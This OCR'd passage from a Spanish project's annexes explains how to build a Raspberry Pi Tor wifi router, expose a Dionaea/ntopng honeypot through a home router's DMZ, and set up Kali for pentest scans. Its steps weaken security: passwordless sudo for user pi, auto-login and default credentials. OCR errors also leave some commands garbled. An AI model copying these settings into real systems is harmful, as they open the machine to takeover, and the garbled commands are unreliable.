lanzarla. Dentro del paquete de UMTSkeeper viene Sakis3G. (Daladim)
Las siguientes herramientas si son necesarias para este trabajo:

Usb-modeswitch: Este ya viene preinstalado y se encarga de reconocer que
modem se conecta. Su principal labor es decirle que no es un dispositivo de
almacenamiento sino un modem 3G/4G. Sin este programa, hay muchos modems
3G/4G que no funcionaran en Linux al detectar la particion donde se almacenan los
drivers y no detectarlo como dispositivo de comunicaciones. Es transparente al
usuario, excepto en algunos casos que se puede modificar para cambiar el driver y
que use el de esta aplicacion (/etc/usb-modeswitch) en vez de cargar el del sistema.

En nuestro caso, no requiere configuracion. (Dietze y Draisberghof)

Pppd: Point to point protocol, es un protocolo punto a punto muy utilizado en
las antiguas conexiones de médem a través de lineas telefonicas. Lo necesitaremos
para que “wvdial’ realice la conexion punto a punto con el modem 3G a nuestro

operador. No requiere configuracion. (Ubuntu)

Wvdial (Lachance y Wlach): Es el programa encargado de realizar la
conexién con nuestro operador, establecer la velocidad, asignar IPs, etc. Al ser por
linea de comandos, nos permite realizar una primera configuracion en el fichero
/etc/wvdial.conf para posteriormente arrancar automaticamente de varias maneras,
ya sea en el archivo de sistema rc.d, en el fichero de arranque el usuario Pi
/home/pi/.bashrc (esta fue la opcidon elegida), o incluso instalarlo como servicio.
Para que realice la conexién en nuestro modem 3G, debemos configurar el fichero

/etc/wvdial.conf con los siguientes parametros:
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:~ § cat /etc/wvdial.conf
[Dialer Defaults]
Stupid mode =1

Modem = /dev/ttyUSBO
Initl = ATZ
Init2 = ATQO V1 E1 S0=0
Init3 = ATX3
Init4 = AT+CGDCONT=1,"IP","orangeworld","",0,0
Phone = *99#
Username = orange
Password = orange
New PPPD = yes
i~ 8 I

Figura 92: Configuracién archivo wvdial.conf

e Metemos la linea “wvdial” en el archivo del usuario “pi” “.bashrc” para que

inicie la conexién nada mas arrancar la Raspberry.
$sudo nano /home/pi/.bashrc
e Anadimos la siguiente linea
sudo wvdial &

e Por Uultimo, para que Tor sea capaz de actualizar su salida a Internet,
debemos reiniciar su servicio asi que, a continuacion de la linea anterior
“sudo wvdial’, debemos afadir las dos siguientes lineas, la primera para

esperar 30 segundos y la siguiente reinicia el servicio de Tor:

sleep 30

sudo service tor restart

Nota: Para que funcione esto ultimo, en la imagen de Raspberry sin entorno
grafico, es necesario modificar dos cosas. Hay que hacer que haya autologin y que

en el archivo “sudoers” no se requiera contrasena al usuario “pi”.

Para configurar el autologin, en un terminal de consola, ejecutar
“raspi-config”, seleccionar S5 “BOOT / AUTO LOGIN® y B2 “CONSOLE

AUTOLOGIN’, aceptamos dos veces y finalizar. Reiniciara la Raspberry.

Para configurar “Sudoers”: Editamos “/etc/sudoers” y justo debajo de la linea
“%sudo ALL=(ALL:ALL)ALL”, afadir lalinea “%pi ALL=(ALL) NOPASSWD: ALL”
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Podemos ver un video de las herramientas y su configuracién en el siguiente

enlace:

https://www.youtube.com/watch?v=FRPwkUBaEA8

Podemos ver un video de como establecer autologin y ejecutar sin

contrasefa en el siguiente enlace:

https://www.youtube.com/watch?v=IUX52Io0PyxY

Instalacion y configuracion de la aplicacion Tor.

La aplicacion Tor dispone de un fichero llamado torrc situado en “/etc/tor” con
multitud de opciones, entre ellas nos permite enrutar casi todo el trafico a su red.

También, tiene opciones para elegir el pais de entrada y salida a la red Tor, etc.
Instalaciéon y configuracion (Gus y PiMyLifeUp):
e Instalamos Tor.
$sudo apt-get install tor

e Una vez instalado, tenemos que anadir las siguientes lineas al final del
archivo torrc. Estas lineas indican los puertos que estaran a la escucha para
enrutar a TOR, tanto transporte como DNS. También el ambito de direcciones
de la red virtual creada para tal efecto y por supuesto la linea de archivado de
logs. También afnadiremos las dos ultimas lineas, la primera para que no nos
esté cambiando de circuito cada 10 minutos y la siguiente para que solo se
conecte a los nodos de entrada y salida de los paises de Espana, Francia y

Portugal.
$sudo nano /etc/tor/torrc

Log notice file /var/log/tor/notices.log ~ — Logs

VirtualAddrNetwork 10.192.0.0/10 — Direccionamiento virtual

AutomapHostsSuffixes .onion,.exit — Mapear los sufijos .onion
(inproxy)

AutomapHostsOnResolve 1 — Asigna ip virtual cuando

accedemos a sufijos .onion o .exit
TransPort 192.168.2.1:9040 — Puerto de entrada al proxy

111


https://www.youtube.com/watch?v=FRPwkUBaEA8
https://www.youtube.com/watch?v=IUX52loPyxY

DNSPort 192.168.2.1:53 — Puerto de resolucion DNS

MaxCircuitDirtiness 3600 — Tiempo antes de cambiar
de circuito. (aun asi, nos lo cambié varias veces, no sabemos si por

problemas con el nodo de salida)

EntryNodes {ES},{FR},{PO} —  Establecer nodos de
entrada, StrictNodes1 es opcional por si quiere que sea algo estricto
ExitNodes {ES}{FR}{PO} — Establecer nodos de salida,

StrictNodes1 es opcional por si quiere que sea algo estricto

Para asegurarnos de que “"Iptables™ esta limpio, ejecutamos los siguientes

comandos para borrarlas.

$sudo iptables -F — Borra las lineas introducidas

$sudo iptables -t nat -F  — Borra las entradas pero las de tipo nat

Las siguientes lineas sirven para direccionar el trafico proveniente del interfaz
WIFI antes de enviarlas a Internet. Las dos primeras permiten no
redireccionar el puerto 22 ni el 53. La ultima sirve para redireccionar el resto
de trafico TCP a la red Tor. Vemos que no indica interface de salida, de esa
manera saldra por el que esté por defecto en la configuracién del comando
‘route”, si arrancamos con el cable RJ45 ira por cable y si lo quitamos y
arrancamos por modem ira por modem. Si se arranca con los dos ira por

RJ45, pero mejor no hacerlo por no tener problemas de enrutamiento.

$sudo iptables -t nat -A PREROUTING -i wlanO -p tcp --dport 22 -j
REDIRECT --to-ports 22

$sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j
REDIRECT --to-ports 53

$sudo iptables -t nat -A PREROUTING -i wlanO -p tcp --syn -
REDIRECT --to-ports 9040

Con el siguiente comando hacemos los cambios persistentes de tal manera

que, aunque reiniciemos no se borren.

$sudo sh -c "iptables-save > /etc/iptables.ipv4.nat”
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e Los siguientes comandos sirven para almacenar los eventos.

$sudo touch /var/log/tor/notices.log
$sudo chown debian-tor /var/log/tor/notices.log

$sudo chmod 644 /var/log/tor/notices.log
e Levantamos el servicio de Tor de forma correcta.
$sudo service tor start

e El siguiente comando metera la aplicacion de tor en los servicios de arranque

para que se inicie de forma automatica.
$sudo update-rc.d tor enable

Podemos ver un video de las herramientas y su configuracion en el siguiente
enlace:

https://www.youtube.com/watch?v=HyLNmvZg6Yc

Configuracion del enrutamiento.

En este apartado debemos comentar dos operaciones de enrutamiento. La
primera es que las lineas de “Iptables” indicaran que todo lo proveniente de la red
WLAN se enruta a través de la red TOR. Sin embargo, debemos tener en cuenta
que hay dos enlaces para salir a Internet, un Modem 3G o una red ethernet y si se
enciende la Raspberry Router con los dos conectados hay que modificarlo segun el

Caso.

Nota: Esto es automatico si se arranca con uno (RJ45) u otro (MODEM), pero
lo comentamos por si se quiere automatizar el proceso mediante un interruptor o un

pulsador (ver apartado lineas futuras) en la propia Raspberry Pi.

Por velocidad y ahorro de datos, la ruta por defecto siempre sera la tarjeta de
red, pero hay casos en los que no tendremos disponible una linea Ethernet donde
conectarnos, en ese caso tendremos que activar la salida a través de nuestro

modem.
e Eliminamos la ruta por defecto ETHO

$sudo route del default ethO
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e Ahora afiadimos nuestro router 3G como enrutador por defecto.
$sudo route add default ppp0

e En el caso de que nos conectemos por modem pero mas tarde disponemos
de una conexiéon ETHO, tendremos que repetir el paso, pero eliminando el
router por defecto ppp0 con la salvedad que ahora tendremos que
especificarle la ruta como “gateway”. Esto es asi porque se queda
guardado/cacheado y tarda mucho tiempo en refrescarse automaticamente.
Otra opcién mas sencilla es apagarla y encenderla con el RJ45 conectado y

el modem desconectado.

$sudo route del default ppp0
$sudo route add default gw 192.168.1.1 ethO

Recordatorio: Por defecto y para automatizar el proceso, si la Raspberry
Router arranca con el modem 3G sin conexion Ethernet el trafico de todos los
dispositivos que se conecten a la wifi Raspator saldran por el mismo. Si por el
contrario arrancamos la Raspberry Router sin el modem y conectado a una toma de
red Ethernet con DHCP, todo el trafico saldra por Ethernet, de esa manera evitamos
entrar en configuraciones y solo tenemos que arrancarlo, conectarnos al punto wifi

que produce y ya estaremos conectados a la red Tor.

La segunda operacién debemos realizarla en nuestro router doméstico, para
ubicar ahi nuestro Honeypot/NSM/SIEM.

Debemos configurar la IP del Honeypot en la DMZ y entrar en el apartado de
“port forwarding” (NAT/PAT) para redireccionar todas las peticiones a la IP interna

correspondiente.

La configuracién de la DMZ en el router Livebox fibra del fabricante Arcadyan,
modelo PRV3399B B LT es la siguiente:

e Primero reservamos la Ip en nuestro DHCP entrando en “Configuracion
avanzada’, “Configuracion de la red”, “DHCP” y afiadimos ahi nuestra IP a la
MAC del Honeypot.
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Livebox

m mired local Wi-Fi mis archives miteléfono | informacién y diagnéstico configuracién avanzada

configuracion de configuracion avanzada = configuracion de la red = DHCP
la red

configuracién del Red
firewall

acceso remoto al DHCP NATPAT DHS UPnP DymDHS DMZ NTP ONT
router

administracion El servidor DHCP permite asignar una direccion IP a cada dispositivo conectado a tu red local.

notificaciones por

a-rmail La informacion de direccionarniento IPv6 se mostrara en la pagina DNS.

servidor de

impresién figuracion de DHCP
servidor DHCP IPvd ® activar O desactivar
direccion IP del Router en la LARN 192 168 1 N
rnascara de subred LAN 2552552550
direceidn IP inicial 192 .| 168 1 1a
direccian IP final 192 .| 168 1 L1140
senvidor IPyG DHCP ® activar O desactivar

Figura 93: Configuracion router doméstico DHCP

Puedes reserar una direccidn IP estatica para cada dispositivo de tu red local. El dispositivo siempre tendra la misma
direccion [P

direccion IP estatica

nambre direccian [P direceian MAC
| K505 v| 192 168.1.72
desconocido 192 1631111
desconocido 192.168.1.120

barrar

Figura 94: Configuracion router doméstico DHCP asignar IP

e Después pulsamos en “Configuracion avanzada”, “configuracion de la red’,
pestafa “DMZ” y afiadir la IP reservada. Asi, expondremos nuestro Honeypot
en la DMZ.
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Livebox

m mired local Wi-Fi | mis archives miteléfone informacién y diagnéstice configuracién avanzada

configuracién de configuracidn avanzada = configuracidn de la red = DMZ
la red

configuracién del Red
firewall

acceso remoto al DHCP NAT/PAT DNS uPnp DynmDNS DMZ NTP ONT
router

administracidn Esta pagina te permite configurar una DMZ para un equipo en la LAN. Cuidado, ese equipo puede ser vuinerable y accesible

notificaciones por desde Internet.

e-mail
servidor de O r O e D
imprasion Configuracion DMZ de ordenador

La DMZ actual es:192.168.1.120

Ai\\\ Tienes que asociar una direccion IP estatica con este dispositivo en la configuracion de DHCP

La DMZ actual es:

nomkre direccion P

[desconocido_192.168, ~| 1921681120

Figura 95: Configuracion router domeéstico establecer DMZ

e El ultimo paso es redireccionar los puertos que queramos a la ip interna. De

esa manera todos los ataques recibidos los enviara al Honeypot.

Pulsamos “configuraciéon avanzada’, “configuracion de la red’, pestana

“NAT/PAT’ y vamos anadiendo los puertos necesarios.
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Livebox

m mi red local Wi-Fi = mis archivos miteléfono | informacion y diagndstico

configuracién de
la red

configuracién del
firewall

acceso remoto al
router

administracidn

notificaciones por
e-rmail

servidor de
impresion

configuracidn avanzada = configuracidn de la red = MATIPAT

NAT/PAP/CGNAT

DHCP NAT/PAT DNS UPnp DynDHS DMZ NTP

Configuracion de NATPAT/CGNAT

configuracidén avanzada

ONT

Estas normas son necesarias para autorizar una conexion remota desde Internet gque llegue a un dispositivo especifico de

tu red LAN. También puedes definir los puertos(s) que utilizara esta comunicacion.

Para crear la regla NAT debes introducir la IPv4 asignada a tu dispositivo en la LAN. Para saber cual es puedes consultar el

listado de IPs asighadas en la pestafia “DHCP” de esta pagina.

Ai\ Atencidn: Aseglrate de que no has filrado estos pueros en el firewall.

Figura 96: Configuracién router doméstico NAT/PAT

Personalizar reglas

estado aplicacion ! servicio puerto puerto protocolo  IPvd del dispositivo
interno Externo
|FTP Server v |21 21 TCP v
@' titp g9 B9 TCP 1921681120
@' smb 445 445 TCP 1921681120
@' mEsg| 1433 1433 TCP 1921681120
@' bittprs: 443 443 TCP 1921681120
@' my sl 3306 3308 TCP 1921681120
@' Secure Shell Server (S5H) 22 22 TCP 1921681120

Figura 97: Configuracién router doméstico Port forwarding
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Secure Shell Server (S5H) 22 22 TR 1921651120
@ Telnet 23 23 TCP 1921681120 m
@ FTP Server 21 21 TCP 1921681120 m
@ G379 5379 G379 TCR 1921661120
@ E31 631 B3 TCR 1921651120 delete
@ 135 135 135 TCR 192 1651 120 delate
@ 53 53 53 TCP 1921681120

Figura 98: Configuracién router doméstico Port forwarding
Con estas operaciones, ya entraria todo el trafico directamente a nuestro
Honeypot.

Anexo C: Configuraciéon pentester.

Una vez descargada la imagen ARM de Kali (Kali org) e instalada mediante
Raspberry Imager, nuestro siguiente paso es entrar y actualizarla. Para logearnos
por primera vez usamos el usuario kali y contrasefia kali. Ejecutamos “$sudo apt-get
update && sudo apt-get upgrade” para actualizarla y posteriormente “$sudo apt-get

dist-upgrade” para actualizar los paquetes nuevos y descartar los antiguos.
Ahora nos queda realizar la bateria de pruebas anotada en pasos anteriores:
Acceso anénimo.

Simplemente nos conectamos al punto wifi Raspator y ya estaremos

anonimizados (Ver apartado navegacion anonima).

Acceso a la red Tor.

Simplemente nos conectamos al punto wifi Raspator, abrir un buscador,

encontrar una pagina indice de enlaces .onion y ya podremos navegar por la
red Tor (Ver apartado navegacion In-proxy).

Ataques a nuestro Honeypot.
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Siguiendo las guias de test de penetracién, podemos dividir las fases

del test de penetracion en las siguientes (Ver apartado test de penetracion):

Fase 1 — Reconocimiento (Reconnaissance): ...
Fase 2 — Escaneo (Scanning): ...

Fase 3 — Obtener acceso (Gaining Access): ...
Fase 4 — Mantener Acceso (Maintaining Access): ...

Fase 5 — Limpiar Huellas (Clearing Tracks):

Para este trabajo nos centraremos en las que nos interesan para llegar
a nuestros objetivos que son Fase 2 y 3 (escaneo y acceso). Las demas
fases no son posibles porque precisamente es contra un Honeypot y esta

protegido y parcheado sin servicios vulnerables.

Para preparar estas fases, utilizaremos las herramientas Nmap,
Rapidscan, Nikto, Dnsmap, Sglmap, etc. La instalacion y configuracién vienen

en detalle en el capitulo de Hacking ético: Test de penetracion..

Anexo D: Configuracion Honeypot.

En este anexo, mostraremos la instalacion y configuracion de las

herramientas Dionaea y Ntopng para nuestro Honeypot.

Para instalar Dionaea debemos seguir los pasos indicados en el siguiente

enlace (DinoTools).
e Accedemos al apartado instalacion:

https://dionaea.readthedocs.io/en/latest/installation.html

e Descargamos la herramienta con el siguiente comando y entramos en la

carpeta:

$qit clone https://github.com/DinoTools/dionaea.git

$cd dionaea
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L¥Terminal

Archivo Editar Pestafias Ayuda

pi - % sudo git clone https://github.com/DincTools/dionaea.git

Clonando en 'dionaea'...

remote: Enumerating objects: 12176, done.

remote; Counting objects: 100% (102/102), done.

remote: Compressing objects: 108% (6B/68), done.

remote: Total 12176 (delta 50), reused 62 (delta 34), pack-reused 12074
Recibiendo dbjetos: 180% (12176/12176), 2.27 MiB | 6.26 MiB/s, listo.
Resulviindu deltas: 108% (898B6/8986), listo.

pi ~ $

Figura 99: Clonado repositorio Dionaea

e |Instalamos las dependencias necesarias para compilarlo:

$sudo apt-get install \
build-essential \
cmake \
check \
cython3\
libcurl4-openssi-dev \
libemu-dev \
libev-dev \
libglib2.0-dev \
libloudmouth1-dev \
libneffilter-queue-dev \
libnl-3-dev \
libpcap-dev \
libssl-dev \
libtool \
libudns-dev \
python3 \
python3-dev \
python3-bson \
python3-yaml \
python3-boto3 \

fonts-liberation
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e Creamos el directorio y lo preparamos para su compilacion:

$sudo mkdir build
$cd build
$sudo cmake -DCMAKE_INSTALL _PREFIX:PATH=/opt/dionaea ..

e Por ultimo, lo compilamos e instalamos:

$sudo make

$sudo make install

Dentro de “/opt/dionaea” podremos encontrar los archivos necesarios para
que funcione. En esta carpeta estara el binario “bin/dionaea” que podemos
ejecutar para que ya empiece a comportarse como Honeypot. En el directorio
“etc/dionaea” encontraremos el fichero de configuracion “dionaea.cfg” donde
podremos cambiar el comportamiento de los servicios emulados, cantidad de
conexiones, interfaz elegido, etc. En el directorio “var/lib/dionaea/’
encontraremos el registro de logs con los ataque recibidos, los binarios de los

mismos asi como los paquetes de red.

pi /opt/dionaea $ ls
bin etc 1lib share var

Figura 100: Estructura directorios Dionaea

NTopng:
La instalacion de Ntopng se realiza usando el siguiente comando:
$sudo apt-get install ntopng

Para acceder al programa, utilizaremos el puerto 3000. Entramos con usuario

admin contrasefia admin abriendo un navegador a la direccidn http://localhost:3000 y

nos pedira que establezcamos una nueva contrasefia y ya podremos ver el trafico de

entrada y salida junto con los datos de puertos, IPs, etc.
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http://localhost:3000

n - A- Flows Hosts ~  Interfaces ~ 4%~ (- | @ | Search

Dashboard:

Talkers

Hosts Ports

Protocols ASNs Senders

Top Flow Talkers

KA home

Figura 101: Muestra grafica flujo de red NTopng

A parte de los datos recogidos, podemos ver otro tipo de informacién. Por

ejemplo, en la siguiente figura podemos ver las alertas.

16/05/2021 11:21:23

16/06/2021 11:35:00

16/05/2021 11:35:01

16/05/2021 11:36:01

16/05/2021 12:50:47

02:00

01:00

0100

[inio
co

& User Activity
& Flows Flood
& Flows Flood
& Flows Flood

o Process

User 'admin’ logged in.

Host raspberrypi.home is under flood attack (26 flows received in 00:03)

Hoast 23,129 s a Flooder (26 flows sent in 00:03)

Host 23.129, is a Flooder (26 flows sent in 00:03)

Started after anomalous termination (bug report) ntopng v.3.8.190204 () [pid: 586][options: --daemon --interface
‘eth’ --hitp-port ‘3000 ]

Figura 102: Alertas recogidas por Ntopng
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16:46:47 - [T ! Remote to Remote  Remote host 192 16| NI Arcadyan 90:4%:5F ] has contacted a remote host. Remote-to-remote flows available

from the flow alerts [ ‘l
|

16:46:47 - EZEIF) ! Remote to Remote  Remote host 79.124) | " [ Arcadyan_90:49:5F | has contacted a remote host. Remaote-to-remote flows
available from the fl s page.

16:46:47 - [0 'Remote to Remote  Remote host 185.15 | & 4 [ Arcadyan_90:49:5F | has contacted a remote host. Remote-to-remote flows
available from the I page.

»

16:46:47 - [T ! Remote to Remote  Remote host 192.1 [ Raspberr D5:B8:C6 | has contacted a remote host. Remote-to-remote flows
available from the fl S page.

16:45:47 - [0 ! Remote to Remote 4 [ Arcadyan_90:49:5F | has contacted a remate host. Remote-ta-remote flows
available fram the fld page.

16:46:47 - 078 ! Remote to Remote  Remote host 185.15 9 [ Arcadyan_90:49:5F | has contacted a remote host. Remote-to-remote flows
available from the fld page.

16:46:50 - [T YRemote to Remote  Remote host 185.15) o [ Arcadyan 90:49:5F | has contacted a remote host. Remote-to-remote flows
available from the fig ks page.

16:46:50 - EZE0T) ! Remote to Remote  Remote host 185, 15[ i1 [ Arcadyan_90:49:5F | has contacted a remote host. Remate-to-remote flows
available fram the fl “

16:46:50 - [0 'Remote to Remote  Remote host 92.63. | | Arcadyan_90:4%:5F ] has contacted a remote host. Remote-to-remote flows
available from the i | page.

16:46:50 - [T 'Remote to Remote  Remote host 42.1_14 [ Arcadyan 90:49:5F ] has contacted a remote host. Remote-to-remote flows

anmmilahla fram tha flau alarts noms

Figura 103: Alertas recogidas por Ntopng

Si pulsamos en una IP o realizamos una busqueda por host, nos apareceran

mas informacion del mismo, incluso su trafico de subida y bajada.

All Hosts

200~  Filter Hosts=  Direction= IP version~

1P Address Location Flows Alerts MName Seen Since Breakdown Throughput Total Bytes
[ Fiows RIS [ Mhuticast | 1 o flozfb 0032 Ohis= 936 Byles
[ Fiows JETNESEE] 3 1 0 foanl3 00:32 Ohbitts= 184 Bytes
[ Flows [UIIEST 1 0 00:32 Ohitls = 720 Bytes
[ Fiows | : 1 o 1 day, 21:33:12 0 bit's ¥ 25.05 KB
[ Fioms | 3 o 00:32 = 0 bit's = 18KB
= 1 o 1 day, 21:33:17 Obit's b 2616 KB
[ Fiows | 3 o 0136 Ohis= 684 Byles
[ Flows | 1 0 00:04 Sent Obps 114 Bytes
[ Fiow | Remoto Host 6 ] 14:32 EIEET) 19236 bivs & 8.02K8
3 1 o 00:24 Ohis= 114 Byles
[ Fioms | 1 o 00:52 ElEs Obitls= 114 Bytes
= 1 o 00:21 EE Obitls = 114 Bytes
[ Fiows | 1 o 00:52 Ohils= 114 Byles

Figura 104: Host recogidos por Ntopng
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Disponemos de un botén para descargarnos el archivo pcap si queremos analizarlo
en profundidad.

s 8 - - &~ Flows interfaces ~ - M- !

Host: 82.223.14.245 a Traffic Packets Parts Peers Protocals Flows Talkers @ A £ -
(Router/AccessPoint) MAC Address Arcadyan_90:49:5F {ﬁ i)
IP Address B82.223] Host Pool: Mot Assigned £
Name 82223, [Ext-J Remote |
First | Last Seen 19/05/2021 10:53;59 [05:51 aga] 19/05/2021 10:58:17 [00;33 ago)
Sent vs Received Traffic Breakdown Sent
Traffic Sent | Received 938 Pkis / 105.08 KB = 748 Pkis / 154.80 KB =
Active Flows | Total Active | Low Goodput As Client As Server

10N /179 =0 Qe=fQmm/(=
Further Host Namesfinformation Bz.zzs.ﬁ
Download X, JS0ON 1min v~ | Filter (BPF)
peap download

Figura 105: Vista detalle Host en NTopng

En la siguiente captura, podemos ver que los escaneos de puertos y
lanzamiento de exploits no pasan desapercibidos para nuestro Honeypot. Se ven los
puertos SMB, SSL, HTTP, etc.

Top Application Protocols

oz
E.E1 M 'i."ll

5SDF, 24.4%

17.0¢%
Unknown ~

Figura 106: Trafico de puertos recogidos por NTopng
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Otra opcion es el flujo de trafico mostrado por el dashboard. En una sola

pantalla podemos ver las IPs de las conexiones tanto entrantes como salientes, asi

como hacernos una idea de la cantidad de trafico consumido.

n & - A~ Flows Hosts = Interfaces - & - G- Q

Dashboard Talkers Hosts Forts Frotocols ASNs Senders

Top Flow Talkers

152.168.1.120

Refresh frequency: 1 Minule~ | Live update: '» W

Figura 107: Flujo de trafico mostrado por el Dashboard en NTopng

192.168.1.1

La parte mas importante de la herramienta utilizada en este trabajo es la del

flujo de trafico, ya que muestra las conexiones por cliente/servidor junto con sus

respectivos puertos y protocolos.

Application L4 Proto Client Server Duration

SSDP Y uDpP 192.168.1.1:44012 239.255.255.250:1900 06:40:11
SSL.GoogleSenvices O TCP Honeypol:37792 content-autohll. googlea. . hilps 28:31

GMP () IGMP 192.168.1.1
GMP ) IGMP Honeypot

MelBlOS uDpP WORKGROUP:nelbios-ns 255 nethios-ns 01:07
SSDP O uopF WORKGROUP:51605 235.255.255.250:1900 01
MDNS UDP 192.168.1.138:mdns 224.0.0.251:mdns 02:22
SSDP ) uDpP Honeypol: 45105 239.255.255.250:1900 0003

T Unkniown TCP 51.15%. “;a:4mﬂ1 Honeypolims-sql-5 = 1 sec

o a e

Figura 108: Escaneo MSSQL reflejado por NTopng

06:40:03

06:40:01

EBreakdown

En el siguiente video podemos ver la instalacion completa de las dos

herramientas:

https://www.youtube.com/watch?v=pkN_zWQFNGg
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Wireshark:
Para la instalacion de Wireshark debemos ejecutar el siguiente comando:

$sudo apt-get install wireshark

Anexo E: Cifrado conexion OP contra OR.

Comentamos el tipo de cifrado que usa el cliente OP (onion proxy) cuando se
conecta con el nodo OR (onion router). Como minimo, usara “TLS/SSLv3” para el
enlace de autenticacién y la encriptacion. En cualquier caso, Tor Project recomienda
usar como minimo la suite de cifrado “TLS DHE RSA WITH_AES 128 CBC_SHA’. El
iniciador de cifrado no puede incluir ninguna otra suite diferente a las tres siguientes:

“TLS DHE _RSA_WITH_AES 256 _CBC_SHA’
“TLS DHE _RSA_WITH_AES 128 CBC_SHA’

“SSL_DHE RSA WITH_3DES EDE CBC_SHA’.
(ver Tor-Spec (Dingledine et al.)).

Comentamos que significa cada campo.

SSL/TLS: Security socket layer o la evolucion TLS Transport layer security.

Se utiliza para proporcionar el canal seguro.

DHE: Ephemeral Diffie Hellman. Intercambio de claves, pero seran diferentes
en cada negociacion (CCN CERT).

RSA: Rivest, Shamir y Adleman. Sistema criptografico de clave publica
(cifrado asimétrico). Se usara para establecer las capas de los nodos entrada,

puente y salida con las claves publicas de cada uno (CCN CERT).

AES: Advanced Encryption Standard. Se utiliza para cifrar datos o conexiones
(cifrado simeétrico) (CCN CERT).

CBC: Cipher block chaining. Es un tipo de cifrado de bloque en cadena que

usa el bloque anterior para cifrar el siguiente (CCN CERT).

SHA: Secure hash algorithm. Sirve para generar una funcion hash, ya sea un
resumen para integridad de datos, para autenticacion, demostrar identidad en
firmas, etc (CCN CERT).

El uso de todos estos estandares aseguran el anonimato en la red TOR.

126



Anexo F: Archivo de configuracién torrc.

La herramienta Tor dispone de un archivo de configuracién del que ya hemos
hablado. Tiene suficientes opciones como para que hagamos un anexo sobre el
mismo. Se encuentra en /etc/tor/torrc. Pasamos a comentar las opciones mas

interesantes:

e Las primeras opciones son las usadas en este trabajo:
#Log notice file /var/log/tor/notices.log

e Almacenara los logs generados por Tor en el archivo que le digamos.
#VirtualAddrNetwork 10.192.0.0/10

e El direccionamiento creado virtualmente para enrutar a Tor.
#AutomapHostsSuffixes .onion,.exit

e Los sufijos que es capaz de interpretar.
#AutomapHostsOnResolve 1

e Cuando accedemos a una direccion con sufijo nos asigna una ip virtual.
#TransPort 192.168.220.1:9040

e Ladireccion IP y puerto de escucha de Tor.
#DNSPort 192.168.220.1:53

e Ladireccion IP y puerto de escucha del servicio DNS.
#NewCircuitPeriod NUM

e Numero minimo de tiempo de creacién de otro circuito. 30 segundos por

defecto.
#MaxCircuitDirtiness

e Tiempo maximo para restablecer el circuito. Por defecto son 10 minutos, pero

se puede modificar.

#ExcludeNodes
ABCD1234CDEF5678ABCD1234CDEF5678ABCD 1234, {cc}, 255.254.0.0/8)

e Sirve para excluir nodos por si tenemos conocimiento de alguno que sea

malicioso.
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#ExcludeExitNodes node,node, ...
e Excluir nodos de salida.
#ExitNodes node,node, ...
e Establecer nodo o nodos de salida.
#MiddleNodes node,node, ...
e Sirve para establecer nodos intermedios.

Hay otros nodos llamados bridge que no estan publicados por Tor para evitar

que se bloqueen en paises con medidas de bloqueo.
Para encontrar los nodos puente podemos acceder a la siguiente web.

https://bridges.torproject.org/

#UseBridges 1
#Bridge obfs4 <ip:port><key>

e Usa este bridge para conectarse a Tor.
#EntryNodes node,node, ...

e Establecer nodo o nodos de entrada.
#StrictNodes 0|1

e Si esta opcion esta en 1 obliga a utilizar la opcion de los nodos que hayamos

configurado.
#HiddenServicePort 80 127.0.0.1:2580

e Permite publicar puertos a la red Tor, por ejemplo servicios de un Honeypot

(ver lineas futuras).

e Configuracion de ExitNodes o EntryNodes:
#ExitNodes {ES}

e Le indicamos que salga por Espafa pero si queremos Francia podemos

poner ,{FR}, etc
#ExcludeExitNodes {ES}

e Le indicaremos que no salga por Espaia
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#EntryNode {ES}

e Le podemos decir nodo del pais de entrada. En los dos casos se puede pasar
el “fingerprint” para seleccionar un nodo en concreto. Nota: El “fingerprint” |0

podemos obtener con la herramienta que comentamos a continuacion

(https://metrics.torproject.org/rs.html).

Una vez revisadas las opciones del archivo de configuracion torrc, pasamos a

comentar algunos comandos utiles:
e Comandos utiles con Tor:

$tor-resolve dominio.es

Sirve para resolver dominios usando tor. Como vemos, no obtenemos la IP
destino de ese dominio debido a que es un hidden services, ni el cliente sabe la ip
del servidor destino ni el servidor destino conoce al cliente. Lo que nos muestra es la
direccion IPv6 del punto de encuentro. Si reiniciamos el servicio de Tor vemos que

cada vez nos da una direccion diferente.

i~ § tor-resolve idnx== : ==76tg.onion

i~ $§ sudo service tor_restart
G ==l 76tg.onion

|,

N |
Figura 109: Tor resolver
$sudo service tor star
e Levanta el servicio tor.
$sudo torStatus
e Muestra las direcciones IP de los nodos y sus hombres.
$sudo proxychains curl ipinfo.io

e Envia la peticion de la pagina ipinfo.io a través de la red tor y esta web nos

dice la ip de tor.
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$sudo torsocks o tsocks

e Viene incluido con Tor y se encarga de torificar una consola. Abre una

consola y todo lo que se ejecuta en ella va por la red Tor. “. torsocks on”.
Otras caracteristicas interesantes de Tor:
Encontrar bridges de Tor para usar en el archivo torrc.

https://bridges.torproject.org/.

BridzeDB Idioma~ The Tor Project

Estas son tus lineas de puente de red:

o]n] )
Seleccionar todos EIM Mostrar codigo QR

Primero, necesitas bajarte el Mavegador Tor. Muestro Manual de Usuario del
Navegador Tor explica como puedes afiadir tus puentes al navegador. 5i estas usando
Windows, Linw, u OS5 X, click aqui para saber mas. Si estas usando Android, click agui.

Figura 110: Encontrar bridges para usar red Tor. (Tor Project Inc.)

e Encontrar el estado de los relés y bridges.

En la siguiente web https://metrics.torproject.org/rs.html podemos
encontrar el estado de los nodos, su IP, velocidad y los servicios que es

capaz de proporcionar.
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Mews ® Sources 24 Services <> Development M Research ¥ About

T&l‘ | Metrics

# Home Bt Users = Senvers A Traffic & Performance = Onion Services & Applications

The Tor Project is working with Simply Secure to improve the experience of the Tor Metrics website. ' Want to collaborate? Take this

survey!

Heome » Services = Relay Search » Search for countryes

Relay Search sountyes -

country:es

Show 10+ entries
Advertised

Nickname® Bandwidth Uptime Country IPva IPvE Flags Add. Flags ORPort DirPort Type

@ Brexit i1} 36.96 45d = 31138650 YOE—OE® 4473 30 Relay
MiB/s 16h

® sandmani {1} 19.37 5d16h = 51755 [ 7-7=Y.1". ] 443 0 Relay
MiB/s |

Figura 111: Ver estado de los nodos red Tor. (Tor Project Inc.)
e ooni explorer

Web que indica paises que tienen impuestas medidas de censura

(Open Observatory of Network Interference (OONI)).

OONI |Expl0rer Search Countries
Search for Countries Africa  Americas Asia  Europe  Oceania
& ¢ < 2
South Sudan Sudan Sao Tomeé & Tanzania
Principe
8,327 treasurements 125,878 Measurements 1,247 theasurements 95,093 #easurements
-
& © < @
- -
Togo Tunisia Uganda Zambia
10,644 teasurements 671,794 taeasuremants 1,626,150 tMeasurements 707,900 Measuremenls‘

Figura 112: Ver censura por paises. (Open Observatory of Network Interference (OONI))

e Onionscan

